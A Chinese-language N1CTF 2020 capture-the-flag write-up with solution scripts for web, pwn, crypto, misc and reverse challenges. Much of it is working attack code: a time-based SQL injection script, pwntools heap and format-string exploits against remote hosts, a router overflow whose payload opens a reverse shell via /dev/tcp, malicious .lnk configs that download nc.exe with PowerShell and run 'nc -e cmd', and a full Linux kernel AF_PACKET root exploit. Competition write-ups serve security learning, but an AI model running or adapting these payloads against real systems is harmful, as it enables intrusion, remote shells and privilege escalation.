

```

1 error_reporting(E_ALL);
2 define('NB_DANGLING', 200);
3 define('SIZE_ELEM_STR', 40 - 24 - 1);
4 define('STR_MARKER', 0xcf5ea1);
5 function i2s(&$s, $p, $i, $x=8)
6 {
7     for($j=0;$j<$x;$j++)
8     {
9         $s[$p+$j] = chr($i & 0xff);
10        $i >>= 8;
11    }
12 }
13 function s2i(&$s, $p, $x=8)
14 {

```

IC

Si

</> 执行结果

View as:	Size: 312 b	LastTime: 2020/10/17 20:25:24
# 1	Address of first RW chunk: 0x7f679aed0a50	
2	Leaked zval_ptr_dtor address: 0x7f679bfecb20	
3	ELF base: 0x7f679bbab000	
4	Basic functions: 0x7f679c8b8bc0	
5	Got PHP_FUNCTION(system): 0x7f679bf0d4e0	
6	Replaced zend_closure by the fake one: 0x7f679aea1c98	
7	Running system("cat /flag");	
8	n1ctf{ab24ad523665a581da7fd54386895f51}DONE	
9		

SignIn

```
1 import requests
2 flag=''
3 url="http://101.32.205.189/?input=0:4:\"flag\":2:{s:2:\"ip\";0:2:\"ip\":0:
  {s:5:\"check\";N;}"
4 #payload="1' and IF(mid((select
  database()),1,1)='{',concat(lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,
  999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpa
  d(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpa
  d(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'))
  regexp 'b+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)',0) and '1'='"
5 for i in range(1,100):
8     for j in range(33,127):
9         payload="1' and IF(ascii(mid((select `key` from nkkey limit 1),
            {},1))=
            {},concat(lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,
            999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(
            1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a'),lpa
            d(1,999999,'a'),lpad(1,999999,'a'),lpad(1,999999,'a')) regexp 'b+(a.*)+
            (a.*)+(a.*)+(a.*)+(a.*)',0) and '1'='"
10        payload=payload.format(i,j)
13        headers={"X-forwarded-for":payload}
14        #print headers
15        try:
16            r=requests.get(url,headers=headers,timeout=2)
17        except:
18            flag+=chr(j)
19        print flag
20
```



The King Of Phish (Victim Bot)

需要上传一个.lnk文件（会对.lnk文件头做判断），上传后服务端的cmd会执行

<https://github.com/tommelo/lnk2pwn>

config.json :

之前上传了nc.exe 在 %tmp%\nc.exe ,空格的话用 \t 代替

python2.7 lnk2pwn.py -c config.json -o /tmp/1/ 就生成 clickme.txt.lnk 上传就行 ,坑点就是 "icon_path": "C:\\Windows\\System32\\cmd.exe", 这个本来是notepad.exe 但是机上没有这个文件会出错,改成 cmd.exe

弹shell

```
1 {
2     "shortcut": {
3         "target_path": "C:\\Windows\\System32\\cmd.exe",
4         "working_dir": "C:\\Windows\\System32",
5         "arguments": "/c,%tmp%\\nc.exe\\t-e\\tcmd\\tip\\t9998",
6         "icon_path": "C:\\Windows\\System32\\cmd.exe",
7         "icon_index": null,
8         "window_style": "MINIMIZED",
9         "description": "trust me",
10        "fake_extension": ".txt",
11        "file_name_prefix": "clickme"
12    },
13    "elevated_uac": {
14        "file_name": "uac_bypass.vbs",
15        "cmd": ""
16    }
17 }
18 }
```

上传的config.json :

```
1 {
2     "shortcut": {
3         "target_path": "C:\\Windows\\System32\\cmd.exe",
4         "working_dir": "C:\\Windows\\System32",
5         "arguments": "/c,powershell.exe,(new-
6 object\\tNet.WebClient).DownloadFile('http://ip:9999/nc.exe','%tmp%\\nc.exe
7 '),",
8         "icon_path": "C:\\Windows\\System32\\cmd.exe",
9         "icon_index": null,
10        "window_style": "MINIMIZED",
11        "description": "trust me",
12        "fake_extension": ".txt",
13        "file_name_prefix": "clickme"
14    },
15    "elevated_uac": {
16        "file_name": "uac_bypass.vbs",
17        "cmd": ""
18    }
19 }
```

Misc

N1egg-AllSignIn

```
1 misc:n1ctf{welc0m3_to_n1ctf2020_ctfers}
2 web:n1ctf{you_g0t_1t_hack_for_fun}
3 pwn:n1ctf{77381c470c0d50e9ecd15a650e409176}
4 re:n1ctf{Fam3_is_NULL}
5 crypto:n1ctf{bf3724e3-c26b-4a63-9b4f-b33024b1db63}
```

Crypto

VSS

MT19937伪随机数恢复flipped_coin,然后生成share1, 运行他给的那个函数就可以得到flag的二维码

```
1 #!/usr/bin/python3
2 import qrcode # https://github.com/lincolnloop/python-qrcode
3 import random
4 import os
5 from PIL import Image
6 from vanish import flag
7 share2 = Image.open("share2.png")
8 res = Image.open("res.png")
9 m,n = res.size
10 aa=""
11 for i in range(m):
12     for j in range(n):
13         aa += '0' if (share2.getpixel((2*j, 2*i))) else '1'
14         #assert a==b
15 a = aa[-627*32:]
16 b=[]
17 for i in range(0,len(a),32):
18     b.append(int(a[i:i+32],2))
19 c = b[::-1]
20 from MTRecover import * //https://github.com/eboda/mercenne-twister-
    recover
21 mtb = MT19937Recover()
22 r2=mtb.go(c)
23 while len(a)<len(aa)-16:
24     a = bin(r2.getrandbits(32))[2:].zfill(32) + a
25 a = bin(r2.getrandbits(32))[2:].zfill(32)[:16] + a
26 flipped_coins = a
27 share1 = Image.new("L", (2*m, 2*n))
28 for idx in range(len(a)):
29     i, j = idx//n, idx % n
30     color0 = 0 if int(flipped_coins[idx]) else 255
31     color1 = 255 if int(flipped_coins[idx]) else 0
32     #print color0
33     share1.putpixel((2*j, 2*i), color0)
```

```

46     share1.putpixel((2*j, 2*i+1), color0)
47     share1.putpixel((2*j+1, 2*i), color1)
48     share1.putpixel((2*j+1, 2*i+1), color1)
49
50 share1.save('share11.png')
51
52 def vss22_superposition():
53     share1 = Image.open('share11.png')
54     share2 = Image.open('share2.png')
55     res = Image.new("L", share1.size, 255)
56     share1_data = share1.getdata()
57     share2_data = share2.getdata()
58     res.putdata([p1 & p2 for p1, p2 in zip(share1_data, share2_data)])
59     res.save('flag.png')
60 vss22_superposition()

```

Pwn

EasyWrite

```

1  from pwn import *
2  context.log_level = 'debug'
3  context.arch = 'amd64'
4  libc = ELF("./libc-2.31.so")
5  #p = process("./easywrite")#,env={"LD_PRELOAD":"./libc-2.31.so"})
6  p = remote("124.156.183.246", 20000)
7  #gdb.attach(p)
8
9  p.recvuntil("Here is your gift:0x")
10 libc.address = int(p.recv(12), 16)-0x7ffff7e64c50+0x7ffff7dd6000
11 print hex(libc.address)
12 payload = p64(libc.sym['__free_hook']-8)*30
13 p.sendafter("Input your message:",payload)
14 #gdb.attach(p)
15 #debug(0x132d)
16 #gdb.attach(p,'b*0x7ffff7e710bf\nb _IO_flush_all_lockp\nb*0x7ffff7e6bcaf')
17 #gdb.attach(p,'b free')
18 p.sendafter("Where to write?:",p64(libc.address+0x1f34f0))#2045232 2045296
19 p.sendlineafter("Any last
    message?:",' /bin/sh\x00'+p64(libc.sym['system']))
20 p.interactive()

```

SignIn

```

1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  from pwn import *
4  prog = './signin'
5  #p = process(prog,env={"LD_PRELOAD":"./libc.so"})
6  libc = ELF("libc.so")
7  p = remote("47.242.161.199", 9990)

```

```

8 def add(idx, num=1):
9     p.sendlineafter(">>", "1")
10    p.sendlineafter("Index:", str(idx))
11    p.sendlineafter("Number:", str(num))
12 def show(idx):
13     p.sendlineafter(">>", "3")
14     p.sendlineafter("Index:", str(idx))
15 def dele(idx):
16     p.sendlineafter(">>", "2")
17     p.sendlineafter("Index:", str(idx))
18 def exp():
19     for i in range(260):
20         add(1)
21     for i in range(517):
22         dele(1)
23     show(1)
24     libc.address = int(p.recvline())-0x7ffff7837ca0+0x7ffff744c000
25     log.info("libc.address ==> " + hex(libc.address))
26
27
28     for i in range(269):
29         dele(1)
30     add(1, libc.sym['__free_hook']-8)
31     add(2,u64('/bin/sh\x00'))
32     add(2, libc.sym['system'])
33     p.interactive()
34 if __name__ == '__main__':
35     exp()

```

Babyrouter

```

1 import requests
2 from pwn import *
3 url = "http://8.210.119.59:9990/goform/setMacFilterCfg"
4
5 cookie = {"Cookie":"password=12345"}
6 cmd='bash -c "bash -i >& /dev/tcp/vps_ip/1234 0>&1"\x00'
7 libc_base = 0xf65d8f70-0x0003df70
8 system_offset = 0x5a270
9 gadget1_offset = 0x18298
10 gadget2_offset = 0x40cb8
11 system_addr = libc_base + system_offset
12 gadget1 = libc_base + gadget1_offset
13 gadget2 = libc_base + gadget2_offset
14 payload = "A"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
15 data = {"macFilterType": "white", "deviceList": "\r"+ payload}
16 s=requests.post(url, cookies=cookie, data=data)
17
18 print s.text

```

Echoserver

```

1  from pwn import *
2  context.log_level="debug"
3  context.endian="big"
4  #p=process(["qemu-ppc", "-g", "1234", "./pwn22"])
5  p=remote("150.158.156.120", 23333)
6  p.recvuntil("launch.....\n")
7  #0x100a01e0  0x100a0200
8  #01 02
9  s="9!\x00}\x03\xa6N\x80\x04!"
10
11
12
13  ans={}
14  addr=0x100a0200
15  for i in range(len(s)):
16      ans[addr+i]=ord(s[i])
17  s=p32(0x100a0200)+p32(0x100a01f4-0x1c)
18  addr=0x100a01f4
19  for i in range(len(s)):
20      ans[addr+i]=ord(s[i])
21
22  payload=""
23  addrs=""
24  last=0
25  num=49+13-1
26  for i in range(256):
27      for j in ans:
28          if ans[j]==i:
29              num+=1
30              if i-last==0:
31                  payload+=" "+str(num)+"$hhn"
32                  addrs+=p32(j)
33              else:
34                  payload+=" "+str(i-last)+"c"+" "+str(num)+"$hhn"
35                  addrs+=p32(j)
36                  last=i
37
38  payload=(payload+"aa"+addrs).encode("hex")
39  shell='8a(\x188\x00\x00\x058\x80\x00\x00D\x00\x00\x02`\x00\x00\x008\x00\x00\x038\x81\x00\x008\xa0\x002D\x00\x00\x02`\x00\x00\x00`\x00\x00\x008\x00\x00\x048`\x00\x018\x81\x00\x008\xa0\x002D\x00\x00\x02`\x00\x00\x00`\x00\x00\x00'+"/flag"
40
41  p.send(payload.decode("hex")+shell)
42  p.interactive()

```

W2L

```

1  #define _GNU_SOURCE
2  #include <errno.h>
3  #include <fcntl.h>
4  #include <stdarg.h>
5  #include <stdbool.h>
6  #include <stddef.h>
7  #include <stdint.h>
8

```

```

9  #include <stdio.h>
10 #include <stdlib.h>
11 #include <string.h>
12 #include <unistd.h>
13 #include <sched.h>
14 #include <sys/ioctl.h>
15 #include <sys/klog.h>
16 #include <sys/mman.h>
17 #include <sys/socket.h>
18 #include <sys/syscall.h>
19 #include <sys/types.h>
20 #include <sys/wait.h>
21 #include <arpa/inet.h>
22 #include <linux/if_packet.h>
23 #include <linux/ip.h>
24 #include <linux/udp.h>
25 #include <netinet/if_ether.h>
26 #include <net/if.h>
27 #define MAGIC_SHELLCODE 0x100000ul
28 #define KMALLOC_PAD 512
29 #define PAGEALLOC_PAD 1024
30 // * * * * * Kernel structs * * * * *
31 * *
32 typedef uint32_t u32;
33 // $ pahole -C hlist_node ./vmlinux
34 struct hlist_node {
35     struct hlist_node *      next;          /* 0 8 */
36     struct hlist_node * *    pprev;         /* 8 8 */
37 };
38 // $ pahole -C timer_list ./vmlinux
39 struct timer_list {
40     struct hlist_node        entry;          /* 0 16 */
41     long unsigned int        expires;         /* 16 8 */
42     void                     (*function)(long unsigned int); /* 24
43 8 */
44     long unsigned int        data;            /* 32 8 */
45     u32                      flags;           /* 40 4 */
46     int                      start_pid;       /* 44 4 */
47     void *                   start_site;      /* 48 8 */
48     char                     start_comm[16]; /* 56 16 */
49 };
50 // packet_sock->rx_ring->prb_bdq->retire_blk_timer
51 #define TIMER_OFFSET 896
52 // packet_sock->xmit
53 #define XMIT_OFFSET 1304
54 // * * * * * Helpers * * * * *
55 *
56 void packet_socket_rx_ring_init(int s, unsigned int block_size,
57     unsigned int frame_size, unsigned int block_nr,

```



```

72 unsigned int sizeof_priv, unsigned int timeout) {
73     int v = TPACKET_V3;
74     int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
75     if (rv < 0) {
76         perror("[-] setsockopt(PACKET_VERSION)");
77         exit(EXIT_FAILURE);
78     }
79     struct tpacket_req3 req;
80     memset(&req, 0, sizeof(req));
81     req.tp_block_size = block_size;
82     req.tp_frame_size = frame_size;
83     req.tp_block_nr = block_nr;
84     req.tp_frame_nr = (block_size * block_nr) / frame_size;
85     req.tp_retire_blk_tov = timeout;
86     req.tp_sizeof_priv = sizeof_priv;
87     req.tp_feature_req_word = 0;
88     rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
89     if (rv < 0) {
90         perror("[-] setsockopt(PACKET_RX_RING)");
91         exit(EXIT_FAILURE);
92     }
93 }
94
95 int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
96     unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
97     int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
98     if (s < 0) {
99         perror("[-] socket(AF_PACKET)");
100         exit(EXIT_FAILURE);
101     }
102     packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
103     sizeof_priv, timeout);
104     struct sockaddr_ll sa;
105     memset(&sa, 0, sizeof(sa));
106     sa.sll_family = PF_PACKET;
107     sa.sll_protocol = htons(ETH_P_ALL);
108     sa.sll_ifindex = if_nametoindex("lo");
109     sa.sll_hatype = 0;
110     sa.sll_pkttype = 0;
111     sa.sll_halen = 0;
112     int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
113     if (rv < 0) {
114         perror("[-] bind(AF_PACKET)");
115         exit(EXIT_FAILURE);
116     }
117     return s;
118 }
119
120 void packet_socket_send(int s, char *buffer, int size) {
121     struct sockaddr_ll sa;
122     memset(&sa, 0, sizeof(sa));

```

```

129     sa.sll_ifindex = if_nametoindex("lo");
130     sa.sll_halen = ETH_ALEN;
131     if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
132         sizeof(sa)) < 0) {
133         perror("[-] sendto(SOCK_RAW)");
134         exit(EXIT_FAILURE);
135     }
136 }
137 }
138 void loopback_send(char *buffer, int size) {
139     int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
140     if (s == -1) {
141         perror("[-] socket(SOCK_RAW)");
142         exit(EXIT_FAILURE);
143     }
144     packet_socket_send(s, buffer, size);
145 }
146 int packet_sock_kmalloc() {
147     int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
148     if (s == -1) {
149         perror("[-] socket(SOCK_DGRAM)");
150         exit(EXIT_FAILURE);
151     }
152     return s;
153 }
154 void packet_sock_timer_schedule(int s, int timeout) {
155     packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
156 }
157 void packet_sock_id_match_trigger(int s) {
158     char buffer[16];
159     packet_socket_send(s, &buffer[0], sizeof(buffer));
160 }
161 // * * * * * Trigger * * * * *
162 #define ALIGN(x, a)    __ALIGN_KERNEL((x), (a))
163 #define __ALIGN_KERNEL(x, a)    __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
164 #define __ALIGN_KERNEL_MASK(x, mask)    (((x) + (mask)) & ~(mask))
165 #define V3_ALIGNMENT    (8)
166 #define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc),
167     V3_ALIGNMENT))
168 #define ETH_HDR_LEN sizeof(struct ethhdr)
169 #define IP_HDR_LEN  sizeof(struct iphdr)
170 #define UDP_HDR_LEN sizeof(struct udphdr)
171 #define UDP_HDR_LEN_FULL    (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
172 int oob_setup(int offset) {
173     unsigned int maclen = ETH_HDR_LEN;
174     unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
175         (maclen < 16 ? 16 : maclen));
176     unsigned int macoff = netoff - maclen;
177     unsigned int sizeof_priv = (1u<<31) + (1u<<30) +

```

```

188     0x8000 - BLK_HDR_LEN - macoff + offset;
189     return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
190 }
191
192 void oob_write(char *buffer, int size) {
193     loopback_send(buffer, size);
194 }
195
196 void oob_timer_execute(void *func, unsigned long arg) {
197     oob_setup(2048 + TIMER_OFFSET - 8);
198     int i;
199     for (i = 0; i < 32; i++) {
200         int timer = packet_sock_kmalloc();
201         packet_sock_timer_schedule(timer, 1000);
202     }
203     char buffer[2048];
204     memset(&buffer[0], 0, sizeof(buffer));
205     struct timer_list *timer = (struct timer_list *)&buffer[8];
206     timer->function = func;
207     timer->data = arg;
208     timer->flags = 1;
209     oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
210     sleep(1);
211 }
212
213 void oob_id_match_execute(void *func) {
214     int s = oob_setup(2048 + XMIT_OFFSET - 64);
215     int ps[32];
216     int i;
217     for (i = 0; i < 32; i++)
218         ps[i] = packet_sock_kmalloc();
219     char buffer[2048];
220     memset(&buffer[0], 0, 2048);
221     void **xmit = (void **)&buffer[64];
222     *xmit = func;
223     oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
224     for (i = 0; i < 32; i++)
225         packet_sock_id_match_trigger(ps[i]);
226 }
227
228 // * * * * * Heap shaping * * * * *
229 * *
230
231 void kmalloc_pad(int count) {
232     int i;
233     for (i = 0; i < count; i++)
234         packet_sock_kmalloc();
235 }
236
237 void pagealloc_pad(int count) {
238     packet_socket_setup(0x8000, 2048, count, 0, 100);
239 }
240
241 // * * * * * Getting root * * * * *
242 * *
243
253

```

```

254 typedef unsigned long __attribute__((regparm(3))) (* magic_func)(unsigned
    long code);
256 void get_root_payload(void) {
257     ((magic_func)(MAGIC_SHELLCODE))(0);
258 }
260 // * * * * * Main * * * * *
    * *
262 void exec_shell() {
263     char *shell = "/bin/bash";
264     char *args[] = {shell, "-i", NULL};
265     execve(shell, args, NULL);
266 }
268 void fork_shell() {
269     pid_t rv;
270     rv = fork();
271     if (rv == -1) {
272         perror("[-] fork()");
273         exit(EXIT_FAILURE);
274     }
275     if (rv == 0) {
276         exec_shell();
277     }
278 }
280 bool write_file(const char* file, const char* what, ...) {
281     char buf[1024];
282     va_list args;
283     va_start(args, what);
284     vsnprintf(buf, sizeof(buf), what, args);
285     va_end(args);
286     buf[sizeof(buf) - 1] = 0;
287     int len = strlen(buf);
288     int fd = open(file, O_WRONLY | O_CLOEXEC);
289     if (fd == -1)
290         return false;
291     if (write(fd, buf, len) != len) {
292         close(fd);
293         return false;
294     }
295     close(fd);
296     return true;
297 }
300 void setup_sandbox() {
301     int real_uid = getuid();
302     int real_gid = getgid();
303     if (unshare(CLONE_NEWUSER) != 0) {
304         perror("[-] unshare(CLONE_NEWUSER)");
305         exit(EXIT_FAILURE);
306     }
307     if (unshare(CLONE_NEWNET) != 0) {

```

```

314 perror("[-] unshare(CLONE_NEWUSER)");
315 exit(EXIT_FAILURE);
316 }
317 if (!write_file("/proc/self/setgroups", "deny")) {
318 perror("[-] write_file(/proc/self/set_groups)");
319 exit(EXIT_FAILURE);
320 }
321 if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
322 perror("[-] write_file(/proc/self/uid_map)");
323 exit(EXIT_FAILURE);
324 }
325 if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
326 perror("[-] write_file(/proc/self/gid_map)");
327 exit(EXIT_FAILURE);
328 }
329 cpu_set_t my_set;
330 CPU_ZERO(&my_set);
331 CPU_SET(0, &my_set);
332 if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
333 perror("[-] sched_setaffinity()");
334 exit(EXIT_FAILURE);
335 }
336 if (system("/sbin/ifconfig lo up") != 0) {
337 perror("[-] system(/sbin/ifconfig lo up)");
338 exit(EXIT_FAILURE);
339 }
340 }
341 unsigned long user_cs, user_ss, user_eflags, user_sp ;
342 void save_status() {
343     asm(
344         "movq %%cs, %0\n"
345         "movq %%ss, %1\n"
346         "movq %%rsp, %3\n"
347         "pushfq\n"
348         "popq %2\n"
349         : "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)
350         :
351         : "memory"
352     );
353 }
354 int main() {
355     save_status();
356     signal(SIGSEGV, exec_shell);
357     printf("%p %p %p %p\n", user_sp, user_eflags, user_ss, user_cs);
358     long int fake = mmap(0x100000, 0x1000, PROT_READ | PROT_WRITE |
359 PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
360     char magic[] =
361     {0x48, 0x89, 0xe0, 0x48, 0x83, 0xc0, 0x10, 0x48, 0x8b, 0x18, 0x48, 0x81, 0xeb, 0x69, 0xd
362 f, 0xa0, 0x0, 0x49, 0x89, 0xd9, 0x49, 0x81, 0xc1, 0xe0, 0xd1, 0x8, 0x0, 0x41, 0xff, 0xd1,

```

```

0x48,0x89,0xc7,0x49,0x89,0xd9,0x49,0x81,0xc1,0xb0,0xcd,0x8,0x0,0x41,0xff,0
xd1,0xf,0x1,0xf8,0x6a,0x2b,0x68,0x0,0x5,0x10,0x0,0x68,0x46,0x2,0x0,0x0,0x6
a,0x33,0x68,0x0,0x0,0x20,0x0,0x48,0xcf};
365     long int fake2=mmap(0x200000, 0x1000, PROT_READ | PROT_WRITE |
PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0);
366     char magic2[]=
{0x6a,0x68,0x48,0xb8,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x2f,0x73,0x50,0x48,0x8
9,0xe7,0x68,0x72,0x69,0x1,0x1,0x81,0x34,0x24,0x1,0x1,0x1,0x1,0x31,0xf6,0x5
6,0x6a,0x8,0x5e,0x48,0x1,0xe6,0x56,0x48,0x89,0xe6,0x31,0xd2,0x6a,0x3b,0x58
,0xf,0x5};
367     memcpy(fake,magic,sizeof(magic));
368     memcpy(fake2,magic2,sizeof(magic2));
369     printf("[.] mmap at %p\n",fake);
370     printf("[.] Setup \n");
372     setup_sandbox();
373     kmalloc_pad(KMALLOC_PAD);
376     pagealloc_pad(PAGEALLOC_PAD);
377     printf("[.] Exploit \n");
378     oob_id_match_execute((void *)&get_root_payload);
380     return 0;
381 }
382

```

Reverse

Oflo

去花。会检测调试器，不存在调试器时会cat /proc/version。取前十四位做xor的key。之后会取输入的前五位做key，对0x400a69处做修改。由于每个函数之前都会开辟栈空间，所以有五个字节基本相同，就可以大致求出flag的前五位。

```

1  code = [0x55,0x48,0x89,0xe5,0x48]
2  data = [0x3b,0x79,0xea,0x91,0x2e]
3  flag = ''
5  for i in range(len(code)):
6      flag += chr(code[i]^data[i])
8  data2 =
[0x35,0x2d,0x11,0x1a,0x49,0x7d,0x11,0x14,0x2b,0x3b,0x3e,0x3d,0x3c,0x5f]
9  key = 'Linux version '
10 for i in range(len(data2)):
12     flag += chr(data2[i]^(ord(key[i])+2))
13 print flag

```

Oh My Julia

要求输入长度为32位，并且被4个下划线分成五个部分。第一个部分长度为3是直接比较。第二部分长度为3是异或求解。

```

1  a = [0xe8,0xde,0xc4]
2  key = 0xb1
3  for x in a:
4      print chr(x^key)

```

第三部分长度为4，会将这部分转换为一个int数字，并放入表达式中求解比较，直接解方程即可。

```
1 x-((0x6A959265B134ED87*x)>>0x4b)*0x1337 == 0x8ff
2 x - ((x*0x149B0651897000A5)>>0x49)*0x18d9 == 0x105a
3 x - ((x*0xE13BDAF0069940EB)>>0x4d)*0x245f == 0x1595
```

第四部分长度为5，这时候已经知道前三部分分别为now,you,now，这时候根据题目也可以猜测这部分应该是julia相关，可以调试得到具体的表达式。（这里只是调试中的相关记录，未做为代码整理）

```
1 (x1 rol 2)^0x4^((((x1 rol 2) << 3)&0xff)^x2^0x40)<<2)==0x59
2 (((((x1 rol 2) << 3)&0xff)^x2^0x40)>>1)|((x2^0x40)<<7)==0xbe
3 (x1 rol 2)^x4^0x62=0xfa
4 x5 rol 4 == 0x4
5 x3 rol 3 == 0x62
```

在一部分反推和一部分尝试之后，可以得到juL1@

最后一部分flag长度为13位，具体题目中的算法为，只允许输入两个字符Z和z。会根据字符的不同选择每一项不同的算法生成数列，Z为先平方生成一项再乘生成下一项，z会直接乘生成下一项。最后会生成一个大整数数列，通过大整数的所占空间进行比较（大致是这样，没怎么详细分析）这部分反推感觉比较耗时间。所以选择直接爆破。由于我们知道每一位只有两种可能，只有13位，那么就可以用subprocess进行爆破，也只有 2^{13} 种可能。

半小时左右，得到第五部分flag ZzzZZzzzzZZZZ，用下划线拼接即可。

N1egg In Fixed Camera

用编辑器打开level0文件即可看到

15A0h:	6E 31 65 67	67 7B 79 6F	75 5F 66 6F	75 6E 64 5F	n1egg{you_found
15B0h:	74 68 65 5F	65 67 67 73	7D 00 00 00	00 00 00 00	the_eggs}.....
15C0h:	00 00 00 40	00 00 80 3F	00 00 00 00	00 00 80 40	0 0? 00

EasyRE

vm，一顿蛇形异或和相加

题目首先会调用IsDebugger()进行反调试，如果检测到调试器，会删除opcode.bin。之后接收不同的异常来确定具体的当次循环代码流程。IDA可以识别每个异常处理代码块。

```
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:0000000040003700 SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:00000000400037A9 SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:0000000040003792 SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:00000000400037DB SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:0000000040003824 SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:000000004000386D SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:00000000400038B6 SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:00000000400038FF SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:0000000040003948 SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:0000000040003991 SIZE 00000048 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:00000000400039DA SIZE 00000051 BYTES
.text:00000000400019B0 ; FUNCTION CHUNK AT .text:0000000040003A2C SIZE 00000051 BYTES
```

下对应地址的断点就行。

大致算法为先跳过前六位，从第七位开始，一开始以N和1作为异或的key，可以看作将数据分成两组，第七位为蛇头，然后以蛇形方式将之后的数据分为两组。第一组为与key直接异或，第二组为高4位和低4位互换之后与key异或。而两个key每轮异或之后都是变换的，会变换成为每轮异或之后的结果。蛇形分组举例。N为下半部分的起始key，1为上部分的起始key。

```
1 x7 x10 x11
```

2 x8 x9 x12

然后将生成的数列，前n-1项做相加，最后一项做加或者减，具体规律没看，因为不是很重要。说回VM，VM的指令长度为0xc，而最后四位没有什么作用。而opcode.bin中0000000c00000000这部分十六进制数据，上一条指令的5-8字节就是最后的密文。将密文提取出来，可以推出除了前七位和最后一位，每一位转换之后的数据。

```
1 test = [0x1f4,0x420,0x3e6,0x4bc,0x5bb,0x4ff,0x63a,0x646,0x81d,0x8fb,0x916,
2       0x8be,0x8d5,0x93b,0xafd,0xb6c,0xae2,0xb77,0xc6b,0xcd1,0xd1a,0xcfd,0xd59,0x
3       dcf,0xd44,0xddb,0xef1,0xeea,0x1031,0x111e,0x1147,0x11b4,0x1189,0x129e,0x12
4       a1,0x125d,0x132f,0x140d,0x13d6,0x13dc,0x13c3,0x1578,0x157b,0x156b,0x156c,0
5       x1820,0x183b,0x1884,0x179c,0x1a49,0x1a0c,0x1afa,0x1b35,0x1ae6,0x1bde]
6
7 dest = []
8
9 sum = 0x2bc
10
11 for i in range(len(test)):
12     if test[i]>sum:
13         dest.append(test[i]-sum)
14         sum = test[i]
15     else:
16         dest.append(sum-test[i])
17         sum += sum-test[i]
18
19 for i in dest:
20     print(hex(i))
```

之后就是调整分组，做异或，可能会有几位缺失，需要手动修正，最后就是对于前七位和最后一位的猜测。前六位和最后一位不用多说是n1ctf{}的标准格式，由于知道前七位的和为0x2bc，可以得到修改转换之后的第七位，那么第七位也可以通过异或反推出来。

fixed camera

用ll2CppDumper工具，得到GameAssembly.dll中的原函数名及va：

```
115331 // RVA: 0x648650 offset: 0x647450 VA: 0x180648650
115332 private void Start() { }
115333
115334 // RVA: 0x648320 offset: 0x647120 VA: 0x180648320
115335 private void onGUI() { }
115336
115337 // RVA: 0x648B80 offset: 0x647980 VA: 0x180648B80
115338 private void set_flag() { }
115339
115340 // RVA: 0x6486A0 offset: 0x6474A0 VA: 0x1806486A0
115341 private void update() { }
115342
115343 // RVA: 0x6480F0 offset: 0x646EF0 VA: 0x1806480F0
115344 public string Encrypt(string str) { }
115345
115346 // RVA: 0x647EB0 offset: 0x646CB0 VA: 0x180647EB0
115347 public string Decrypt(string str) { }
115348
115349 // RVA: 0x648AD0 offset: 0x6478D0 VA: 0x180648AD0
115350 public void .ctor() { }
115351
115352 // RVA: 0x648A90 offset: 0x647890 VA: 0x180648A90
115353 private static void .cctor() { }
```

修改限制，一顿按键

在Update函数中在按上左右箭头后判断Y值在[-9,9]范围内，则调用set_flag函数。在set_flag函数中调用Decrypt函数，对加密过的flag进行解密，根据Y值不同，解密结果不一，且可能会触发异常调用Encrypt，对加密串再进行加密（细节没了解），最后将解密或加密的结果显示。大概思路是在update函数中修改Y值的限制范围，让其正确结果直接显示出来。修改后，一顿右键头操作，最终：



APK

算法全在so的check函数中。大概流程是：

1. 检查长度为39
2. 检查格式为n1ctf{}
3. 以长度+格式内的前16字节数据组成17字节字符串，记为a，将a进行改表后的base64编码与常量比较
